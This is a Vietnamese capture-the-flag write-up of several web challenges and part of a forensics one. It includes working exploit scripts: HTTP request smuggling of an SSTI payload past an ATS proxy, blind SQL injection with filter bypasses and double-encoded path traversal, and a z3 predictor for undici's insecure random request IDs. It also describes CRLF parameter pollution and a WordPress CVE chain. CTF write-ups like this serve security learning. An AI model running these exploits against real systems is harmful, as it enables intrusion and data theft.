# web/ACL and H1
Chall cho 2 services, guinicorn và ats.

Trong đó, ats sẽ chặn request tới route `/render` của service guinicorn.

Rất rõ ràng, đây là SSTI

Đến đây thì ta đã nắm được mục tiêu phải làm cách nào đó để bypass ats và thực hiện exploit SSTI. Ta thử search xem có CVE nào không. Và ye chính là nó CVE-2024-53868, request smuggling
> https://nvd.nist.gov/vuln/detail/CVE-2024-53868
Search một lúc thì ra article này https://w4ke.info/2025/06/18/funky-chunks.html

Quan trọng nhất là `chunk header` vì server sẽ nhận 2 là size của chunk body phía dưới (số `45`) nếu không payload sẽ lỗi (mất 2 tiếng vì cái này)

### exploit
upload SSTI payload

smuggle sẽ craft payload như trong article

get flag

Để dễ thực hiện smuggle thì mình chatgpt viết script
```
import socket
host = '165.22.55.200'
port = 50001
filepath = '/app/uploads/43d54fd837a34b1988df5269f9cc8212/f6fab105615d4e4d.txt'
smuggled = (
f"GET /render?filepath={filepath} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"0\r\n"
f"\r\n"
).encode('ascii')
backend_termination = b"0\r\n\r\n"
second_body = backend_termination + smuggled
second_body_len = len(second_body)
second_hex = format(second_body_len, 'x')
dummy_size = len(second_hex)
dummy_hex = format(dummy_size, 'x')
dummy_body = ('A' * dummy_size).encode('ascii')
chunked_body = (
dummy_hex.encode('ascii') + b';\n' +
dummy_body + b'\r\n' +
second_hex.encode('ascii') + b'\r\n' +
second_body
)
malicious_request = (
f"POST /upload HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode('ascii') + chunked_body
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.sendall(malicious_request)
response = b''
while True:
data = s.recv(4096)
if not data:
break
response += data
print(response.decode('utf-8', errors='ignore'))
s.close()
```
# web/CVE-2025-93XX
Author cho ta 1 cái wordpress có 2 plugins `wpcasa` và `safe php class upload`. Theo tên bài thì ta đoán có lẽ CVE sẽ nằm ở plugin `wpcasa` version 1.4.1.

> https://nvd.nist.gov/vuln/detail/CVE-2025-9321
Ta thấy description hàm gây vuln là `api_requests`, search thử thì hàm nằm trong `includes/class-wpsight-api.php`

Diff source ta thấy api endpoint đã bị filter

> https://github.com/wpsight/wpcasa/commit/c9f5d0b9df7b080af8a526c213a917aa7f3772f0
Đây là sink của CVE, ta cần có 1 class có constructor độc hại để exploit.

Ta thấy có plugin `safe php class upload` filter các hàm nguy hiểm gây RCE nhưng ta có nhiều cách để bypass

Giờ ta đã có ý tưởng exploit: tạo class constructor RCE -> upload class -> trigger CVE-2025-9321. Nhưng làm sao để `class_exists` true, đọc code plugin `wpcasa` tiếp ta thấy author đã chỉnh sửa để load class ở folder upload của plugin `safe php class upload`. Vậy là ta đã có exploit chain hoàn hảo.

### exploit
upload file tmp

include

trigger

### unintended
Thật ra author đã sửa source plugin để include các file được upload và plugin đã được activate sẵn nên sẽ có tác dụng toàn trang wordpress do đó ta cũng không cần phải dùng tới CVE =))

upload

trigger

# web/Data Lost Prevention
Chall cho vuln sqli filter khá nhẹ, bypass tương đối dễ.
```
space = /**/
or = ||
= = >
```

Flag được lưu ở `/var/data/flags` với name flag random, flagPath được lưu ở DB (trong lúc thi bị ngáo không đọc `init_flag.php` nên cứ tưởng phải RCE web để lấy flag, nên cứ đi tìm mãi cách RCE mà không cần dùng `union` =)). À mà service DB với web tách biệt cũng không thể RCE được :v. Troll )

Ta thấy web có một chức năng khác cho phép path travelsal. Ta thấy author đã filter `../` nhưng ở dưới lại `$file2 = urldecode($file)` vậy nên ta chỉ cần urlencode 2 lần là có thể bypass. Ngoài ra để readfile thì là `str_starts_with($path, $base)` thay vì là `$real` nên chúng ta có thể thực hiện path travelsal. (`..%252f..%252fdata/flags/[flag name]`)

Đến đây exploit chain là: `sqli api search.php ->path travelsal -> flag`.
### exploit
Dùng kĩ thuật binary search để cho nhanh :v
```
from concurrent.futures import ThreadPoolExecutor, as_completed
import warnings, urllib3
import requests
warnings.filterwarnings("ignore", category=urllib3.exceptions.InsecureRequestWarning)
url = "https://dlp.wargame.vn"
def sqli(pos, mid):
p = f"1'||(ascii(SUBSTR((SELECT/**/storage_path/**/FROM/**/attachments),{pos},1))>{mid})%23"
return "true" in requests.get(f"{url}/api/search.php?q={p}", verify=False).text
def get_char(pos):
l, h = 32, 128
while l <= h:
m = (l + h) // 2
if sqli(pos, m):
l = m + 1
else: h = m - 1
return chr(l)
def fetch(n = 61, workers = 12):
with ThreadPoolExecutor(workers) as ex:
futs = {ex.submit(get_char, i): i for i in range(1, n + 1)}
res = [''] * n
for f in as_completed(futs): res[futs[f] - 1] = f.result()
return ''.join(res)
if __name__ == "__main__":
path = fetch()
payload = f"..%252f..%252fdata/flags/{path.split('/')[-1]}"
print(path)
resp = requests.get(f"{url}/export.php?file={payload}", verify=False)
print(resp.text)
```

# web/YDSYD
Chall intendeded là prototype polution nhưng ta có thể login thẳng admin và lấy flag =)).

### exploit


# web/vibe_coding
Chall cho 2 services nodejs và python trong đó nodejs là proxy.
Ta cần `admin` để lấy flag

### setup debug
Ta sẽ debug nodejs trong docker vì thế ta cần setup nodejs remote debug. Trên mạng có hướng dẫn khá nhiều, mình đã tham khảo của anh endy https://endy21.hashnode.dev/setup-debug-nodejs-python-java-php.
Điều khác biệt là ta sẽ dùng `chrome://inspect` để debug thay vì dùng `VScode`, vì chrome sẽ đi được sâu vào lib internal của nodejs.

Vào Configure, nhập port debug như đã setup ở `Dockerfile`

Ta đã bắt được debug

Tiếp đến là setup burp proxy mục đích để xem `fetch` gửi cái gì.

Ta sẽ thêm 3 dòng này vào `index.js`

Ta cần cài đặt `undici 5.22.1` để tương thích với nodejs-18
```
FROM node:18.20.4-alpine
WORKDIR /app
COPY package*.json ./
RUN npm install --production && npm install undici@5.22.1
COPY . .
RUN addgroup -g 1001 -S nodejs
RUN adduser -S ctfuser -u 1001
RUN chown -R ctfuser:nodejs /app
USER ctfuser
EXPOSE 3000
CMD ["node", "--inspect=0.0.0.0:9229", "index.js"]
```
> Dockerfile
Đồng thời thay đổi URL của python server để burp có thể thực hiện routing

### intended
Tiến hành register, login, và gửi action

Ta thấy Nodejs proxy sẽ gửi qua backend - python server dưới dạng `form-data`

Đến đây ta có thể thử thực hiện `CRLF`

Và ye đã thành công

Lúc này ta sẽ có ý tưởng thêm field username `admin` để bypass check vì `Flask` sẽ nhận field đầu tiên thay vì field thứ 2 là `tesdvmvfmt`

> https://book.hacktricks.wiki/en/pentesting-web/parameter-pollution.html#parameter-pollution-by-technology
Thử ngay

Đượccc, đã thành công add thêm field username `admin`.

Bây giờ nhiệm vụ ta là bypass `requestID`

Debug thôi nào, đặt debug ở `fetch`

Ta thấy, `fetch` sử dụng thư viện `undici` để fetch

Thử search CVE xem sao, thì đúng thật là có CVE =))

> https://nvd.nist.gov/vuln/detail/CVE-2025-22150
Thì CVE này đại khái bảo rằng `undici` sử dụng `Match.random()` mà cái này lại là insecure random (có thể dự đoán được) nên từ đó ta có thể predict `requestID` dễ dàng.
Lướt xuống ta thấy `hackerone` -> maybe có POC

Thanks `hackerone`, `report.tar.xz` có chứa python POC

Sửa tí để lấy requestID từ server
```
#!/usr/bin/python3
import z3
import struct
import sys
import base64
import json
import requests
url = "http://localhost:3000/health"
sequence = []
for i in range(9):
response = requests.get(url)
data = response.json()
sequence.append(data["requestId"])
sequence = sequence[::-1]
solver = z3.Solver()
se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)
for i in range(len(sequence)):
se_s1 = se_state0
se_s0 = se_state1
se_state0 = se_s0
se_s1 ^= se_s1 << 23
se_s1 ^= z3.LShR(se_s1, 17) # Logical shift instead of Arthmetric shift
se_s1 ^= se_s0
se_s1 ^= z3.LShR(se_s0, 26)
se_state1 = se_s1
solver.add(int(sequence[i]) == ((z3.ZeroExt(64,z3.LShR(se_state0, 12))*1e11)>>52) )
if solver.check() == z3.sat:
model = solver.model()
states = {}
for state in model.decls():
states[state.__str__()] = model[state]
state0 = states["se_state0"].as_long()
u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
float_64 = struct.pack("<Q", u_long_long_64)
next_sequence = struct.unpack("d", float_64)[0]
next_sequence -= 1
print(int(next_sequence*1e11))
```

nó work

Thử exploit xem sao

Ta cần thêm số 0 vào đầu số predict. Ủa s kì z =))

Đọc lại đoạn middleware của nodejs, thì ta thấy hơi lạ, `generateRequestId()` là cái chi z.

Và đây là `generateRequestId()`, thủ phạm đã khiến predict sai, nếu không có header `x-request-id` thì `generateRequestId()` sẽ được gọi, điều đó làm predict bị sai. Có nghĩa là script chúng ta sẽ lấy 9 lần tiếp theo tương ứng với 9 lần gọi `Math.random()`, nếu không có header `x-request-id` thì `Math.random()` sẽ được gọi thêm 1 lần nữa dẫn đến giá trị predict không còn chính xác. Vì vậy ta cần thêm header `x-request-id`

### exploit
Đầu tiên ta cần predict

Thêm header `x-request-id` và thay đổi `requestID` tương ứng, ta đã lấy được flag.

Nếu theo cách intended thì đáng lẽ chall phải cho tạo instance riêng mới đúng vì nhiều người sẽ làm ảnh hưởng predict của người khác 🤔.
### unintended
Để ý `username` đã bị strip vậy nên ta chỉ cần register user `admin ` (có space).

### exploit
register

login

get flag

# forensics/raito yagami
Extract bằng password `123456` như đề bài

Đổi `.xlsx` thành `.zip`
